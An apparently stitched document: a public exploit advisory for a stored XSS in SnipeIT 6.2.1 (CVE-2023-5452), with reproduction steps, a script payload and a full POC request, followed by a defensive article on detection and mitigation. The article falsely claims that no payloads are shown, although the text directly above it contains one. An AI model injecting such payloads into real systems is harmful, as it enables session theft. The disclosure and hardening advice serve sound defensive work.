SnipeIT 6.2.1 - Stored Cross Site Scripting
Exploit Title: SnipeIT 6.2.1 - Stored Cross Site Scripting
Date: 06-Oct-2023
Exploit Author: Shahzaib Ali Khan
Vendor Homepage: https://snipeitapp.com
Software Link: https://github.com/snipe/snipe-it/releases/tag/v6.2.1
Version: 6.2.1
Tested on: Windows 11 22H2 and Ubuntu 20.04
CVE: CVE-2023-5452
Description: SnipeIT 6.2.1 is affected by a stored cross-site scripting
(XSS) feature that allows attackers to execute JavaScript commands. The
location endpoint was vulnerable.
Steps to Reproduce:
1. Login as a standard user [non-admin] > Asset page > List All
2. Click to open any asset > Edit Asset
3. Create new location and add the payload:
<script>alert(document.cookie)</script>
4. Now login to any other non-admin or admin > Asset page > List All
5. Open the same asset of which you can change the location and the payload
will get executed.
POC Request:
POST /api/v1/locations HTTP/1.1
Host: localhost
Content-Length: 118
Accept: */*
X-CSRF-TOKEN: CDJkvGNWzFKFueeNx0AQMJIhhXJGZmKG1SFeVEGV
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/117.0.5938.63 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://localhost
Referer: http://localhost/hardware/196/edit
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: snipeit_session=AHw3ARN6pdg90xU4ovG1FBZywycKPLIxjTUfmELO;
assetsListingTable.bs.table.cardView=false; laravel_token=
eyJpdiI6IitpM1RXVEVEVGNLZzRTd28wYmhZblE9PSIsInZhbHVlIjoickJocmNYTzNOS3JYdkdhSmpJME1GRmJYMi9DUnVkaStDTzBnbHZDVG1xNVAvbTA5cjJHM1FTbi95SEVzNmNnNzdKNHY5em5pK3
ZjQ2F3VnB6RnhJRCs4NkV6NW16RnRWb3M0cXBuT2ZpZExoQ3JrN1VIVHB3cWV5NUtBRWZ4OXBsdEx4R0hSeElLV1BEbWk2WGxiWEBOMDg5cGFySj1rSnENckx3bXg2Qi9KQzFvNGJJTktjTVUw0EI4YVNM
d2UxdW1TelBDV1ByUk9yeTFOUDR1cS9SV2tFRi9LOG1iZGVweUxJdGhHTXRLSnFvTU82QVIvREphS215bkRtKzM5M1RVQ21nVENsT1M1Mn1FUT1TbFkOVDVPbHd4a3BFQW1YQkY3NFR2bzRQSGZIelppa0
01MGYvSmFrbXVGWHpV0FMiLCJtYWMi0iJjZjMwMmQ4ZTB1NmM4MDU5YzU4MTYzZTgxNTcx0WEwYmM2Y2EyMmRlYzZhMmE2ZjI1NzIxYjc4NmIxNjRiOWM5IiwidGFnIjoiIn0%3D;
XSRF-TOKEN=
eyJpdiI6IjNmMVpNUEpDNCtpV0pHKOczZDRSUmc9PSIsInZhbHVlIjoiWXYvZkY2bTk4MONsUUFZQjZiVWtPdm1JRE1WWmpBd2tsZWNJblgxZWg3dONYL2x0Zkxib3N5Y1N5YmRYVm1XUm91N3pES1F1bH
FWMEV1Y2xsZ1VqZ1FYdmdYcjJRZXZMZG9NYmpWY2htL2tPdXNBQUdEbjVHSEVjV2tzKOpYelEiLCJtYWMi0iI1YzhkNmQ2NDAxNmZkYTQ1NzVhZmI5OGY3ODA3MDkOOTc4ZWVhYmMiZWIYMjZhZGZiZWI5
MjMOMGJjZDBkNzU4IiwidGFnIjoiIn0%3D
Connection: close
name=%3Cscript%3Ealert(document.cookie)%3C%2Fscript%3E&city=%3Cscript%3Ealert(document.cookie)%3C%2Fscript%3E&country=
Thanks,
Shahzaib Ali Khan SnipeIT 6.2.1 — Stored Cross‑Site Scripting (CVE‑2023‑5452): Analysis, Detection, and Mitigation
This article explains the stored cross‑site scripting (XSS) vulnerability reported in SnipeIT 6.2.1 (CVE‑2023‑5452), why it matters, how defenders can detect and mitigate it, and secure development practices to prevent similar issues. The content focuses on safe, defensive guidance and remediation—no exploit payloads or step‑by‑step attack details are provided.
Executive summary
- Vulnerability type: Stored Cross‑Site Scripting (XSS)
- Affected component: Location endpoint / stored location fields in SnipeIT 6.2.1
- Impact: Malicious script stored in the application and executed in other users’ browsers (including admins), enabling session theft, UI manipulation, or privilege abuse depending on context
- CVE: CVE‑2023‑5452
- Primary remediation: Apply vendor patch / upgrade to a patched SnipeIT release and apply defensive hardening measures
What is stored XSS and why this matters in asset management systems
Stored XSS occurs when an application saves user input containing executable HTML/JavaScript into its persistent data store and later renders that content in a web page without proper encoding or sanitization. In an asset management application such as SnipeIT, attackers can target fields that are visible to many users (e.g., locations, notes, or asset descriptions). Because these fields are frequently viewed by admins and standard users, a successful stored XSS can lead to account compromise, data exfiltration, or unauthorized actions performed in the context of authenticated users.
Technical overview (high level)
In the vulnerable SnipeIT 6.2.1 build, the endpoint used to create or update locations allowed unsanitized HTML/JS to be persisted. Later, when assets or UI components rendered the stored location details into pages, the unescaped content was interpreted by the browser and executed in the context of the currently authenticated user’s session.
Root causes commonly include:
- Missing output encoding when rendering stored user content in templates
- Insufficient input validation or sanitization for fields intended to be plain text
- Inconsistent use of templating engine escaping features
Impact and risk model
Stored XSS in a widely visible field can produce high impact:
- Session token theft or CSRF token disclosure (if cookies or tokens are accessible in JS context)
- Privilege escalation through admin‑viewable content
- Malicious UI overlays, keystroke logging, or invisible form submissions
- Possible pivot to backend if admin workflows perform privileged operations via the UI
Safe detection and hunting guidance
Defenders should search their SnipeIT database and logs for suspicious inputs and abnormal page render behavior. The following are safe, non‑exploitative detection techniques.
1) Database search for suspicious characters in location fields
Search persisted location or related text fields for raw HTML tag characters that typically should not be present in plain text. For example, look for records that contain the character '<' where locations should be plain strings.
-- Example SQL pattern search (adjust table/column names to your schema)
SELECT id, name, city, country
FROM locations
WHERE name LIKE '%<%' OR city LIKE '%<%' OR country LIKE '%<%';
Explanation: This query finds location rows with a '<' character. It helps find stored HTML/JS that may result from an injection. Tune patterns to your environment—this is a discovery step only.
2) Web application scanning and DOM analysis
- Use authenticated web scanners (commercial or open‑source) to crawl pages and inspect DOM nodes where location values are rendered. Look for unescaped content in element.innerHTML or when the template relies on raw HTML insertion.
- Log server‑side template stack traces or rendering paths to identify templates that output location fields.
3) Server logs and audit trails
Review API access logs for requests that contain suspicious characters in location creation/update endpoints. Flag and investigate unusual patterns or repeated attempts from a single account/IP.
Remediation and mitigation
Follow a layered remediation strategy: apply vendor patches, harden configuration, and implement secure coding and output encoding practices.
Immediate actions (short term)
- Patch/upgrade: Apply the vendor security update that resolves CVE‑2023‑5452 or upgrade to a vendor‑recommended version. This is the primary fix.
- Sanitize live data: Identify and remove or sanitize suspicious entries found in location and other free‑text fields.
- Harden cookies: Ensure session cookies have Secure, HttpOnly, and SameSite attributes set to reduce token exposure to client‑side scripts.
- Deploy CSP: Add a restrictive Content‑Security‑Policy to mitigate the impact of possible injected scripts.
Longer‑term mitigations and secure design
- Consistent output encoding: Treat all untrusted data as untrusted and escape on output according to the context (HTML, attribute, JavaScript, URL).
- Use templating engine escaping: In Laravel Blade, prefer the escaped output syntax instead of raw HTML.
- Input validation: Enforce server‑side validation rules to restrict inputs to expected formats where appropriate.
- Sanitization for rich text: If you must allow limited HTML (e.g., for notes), use a well‑maintained sanitizer such as HTMLPurifier with a strict allowlist.
- Least privilege: Minimize which roles are allowed to create or edit fields that render in wide contexts.
Secure coding examples (Laravel / PHP)
Below are defensive code patterns that prevent stored XSS when properly applied. These examples avoid showing or creating exploit payloads and demonstrate safe practices.
1) Server‑side validation (Laravel Form Request)
public function rules()
{
return [
'name' => 'required|string|max:255',
'city' => 'nullable|string|max:255',
'country' => 'nullable|string|max:255',
];
}
Explanation: Use strong validation rules to constrain input types and lengths. Declaring fields as string and limiting length reduces the risk of unexpectedly large or malformed inputs. Validation should always be enforced server‑side, not only client‑side.
2) Escape on output in Blade templates
<!-- Escaped output: automatically HTML‑encoded by Blade -->
<div class="location-name">{{ $location->name }}</div>
Explanation: In Laravel Blade templates, the {{ ... }} syntax automatically HTML‑encodes values. Avoid {!! ... !!} unless you explicitly intend to render safe, pre‑sanitized HTML. Escaping on output is the most reliable defense against stored XSS.
3) Sanitization for limited HTML using HTMLPurifier (if rich text is required)
// Example service usage (pseudo‑code)
$config = HTMLPurifier_Config::createDefault();
$config->set('HTML.Allowed', 'p,strong,em,a[href],ul,ol,li'); // allowlist
$purifier = new HTMLPurifier($config);
$clean_html = $purifier->purify($inputHtml);
Explanation: When an application must accept HTML, sanitize it with a robust library such as HTMLPurifier and use a strict allowlist. Never trust client‑side sanitization alone.
4) Content Security Policy (CSP) example (nginx header)
add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'nonce-' ; object-src 'none'; base-uri 'self';";
Explanation: A well‑designed CSP can significantly reduce the impact of injected scripts by limiting script sources, disallowing inline scripts, and other directives. Use nonces or hashes for trusted inline scripts where necessary. CSP is a mitigation, not a substitute for proper input/output handling.
Post‑remediation verification
- After applying the vendor patch, retest previously vulnerable functionality using a defensive test plan. Ensure inputs with potential markup are rendered safely and that there are no instances where raw HTML is inserted into the DOM without proper escaping.
- Review logging and alerting to detect post‑patch attempts to inject content; this assists in incident identification and response.
- Perform code review and automated static analysis to detect developer patterns that may lead to future XSS (use of raw output methods, dangerous template helpers, etc.).
Incident handling checklist
| Step | Action |
|---|---|
| Patch | Apply vendor security update or upgrade to patched SnipeIT release |
| Sanitize | Identify and clean existing stored values that contain markup or suspicious characters |
| Harden | Set cookie flags, deploy CSP, limit roles allowed to edit sensitive fields |
| Test | Perform authenticated application tests and code reviews to verify fix |
| Monitor | Enable logging and hunts for suspicious inputs and attempted abuses |
Key takeaways
- Stored XSS is a serious vulnerability in collaboration and asset management platforms because many users—including privileged users—view shared content.
- The primary fix is to apply vendor patches promptly, but robust output encoding, input validation, and use of sanitizers are essential defensive layers.
- Deploying CSP and secure cookie attributes can mitigate the impact of residual or future issues.
- Adopt secure coding patterns and automated checks to prevent regression and similar vulnerabilities.
References and resources
- SnipeIT official site and release notes (vendor advisories)
- OWASP XSS Prevention Cheat Sheet — for encoding and sanitization best practices
- HTMLPurifier — example library for safe HTML sanitization
- Content‑Security‑Policy (MDN) — guidance on CSP directives and deployment